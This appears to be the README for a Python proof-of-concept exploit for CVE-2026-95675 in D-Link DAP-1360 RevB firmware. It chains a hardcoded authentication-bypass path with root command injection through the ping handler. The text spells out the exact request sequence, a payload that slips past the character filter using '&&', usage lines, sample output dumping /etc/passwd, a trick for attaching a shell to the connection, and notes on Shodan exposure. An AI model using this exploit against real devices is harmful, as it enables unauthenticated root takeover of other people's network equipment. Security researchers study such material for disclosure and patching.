
PoC em Python explorando a CVE-2026-95675, uma injeção de comando root não autenticada no firmware do D-Link DAP-1360 RevB por meio de um bypass de autenticação codificado e do manipulador formSystemCheck.

Execução remota de comandos como root sem autenticação (CWE-78 — Injeção de Comandos do SO)
no manipulador formSystemCheck, acessível através de um backdoor de autenticação
embutido no código. Verificado contra DAP-1360 RevB, firmware 2.14B05.
Dois problemas independentes encadeados:
1. Caminho de bypass de autenticação embutido. Em main (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn retorna 404 (não é um arquivo real), mas, como efeito
colateral, marca o slot de sessão do IP de origem solicitante como autenticado — sem
necessidade de nome de usuário, senha ou captcha.
2. Injeção de comando do SO. formSystemCheck
(POST /apply.cgi?formSystemCheck) constrói um comando shell com:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping é passado sem sanitização para a string de formato; _system() usa
vsprintf em um buffer de pilha de tamanho fixo e o entrega a system(). O manipulador
não realiza verificação de autenticação própria.
O parser de corpo POST do busybox remove ;, |, crase e nova linha, mas
&& sobrevive. Um payload deve terminar o prefixo ping e então encadear
com &&, por exemplo:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Descrição |
|---|---|
target | host/IP alvo (esquema padrão http://) |
command (opcional) | comando root a executar (padrão: cat /etc/passwd); use , não /` |
GET /dEfWzDLOgIn — dispara o bypass de autenticação embutido (retorna 404; o efeito colateral ocorre no lado do servidor).POST /apply.cgi?formSystemCheck com ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — injeção de comando como root.GET /<OUT> — recupera a saída do comando (o httpd serve .htm/.html, não .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id — use cat, echo, ls, cp, etc._system() retorne, sh <&5 >&5 2>&5 pode anexar um shell à conexão ativa (frágil sob QEMU em modo usuário; melhor em hardware real).O Shodan ("CAMEO-httpd", o banner do fornecedor do httpd) mostra apenas um pequeno número de
instâncias expostas à internet dessa base de código exata; o dispositivo é primariamente um
ponto de acesso do lado da LAN. A exploração requer alcançabilidade da interface de
gerenciamento web.
&&;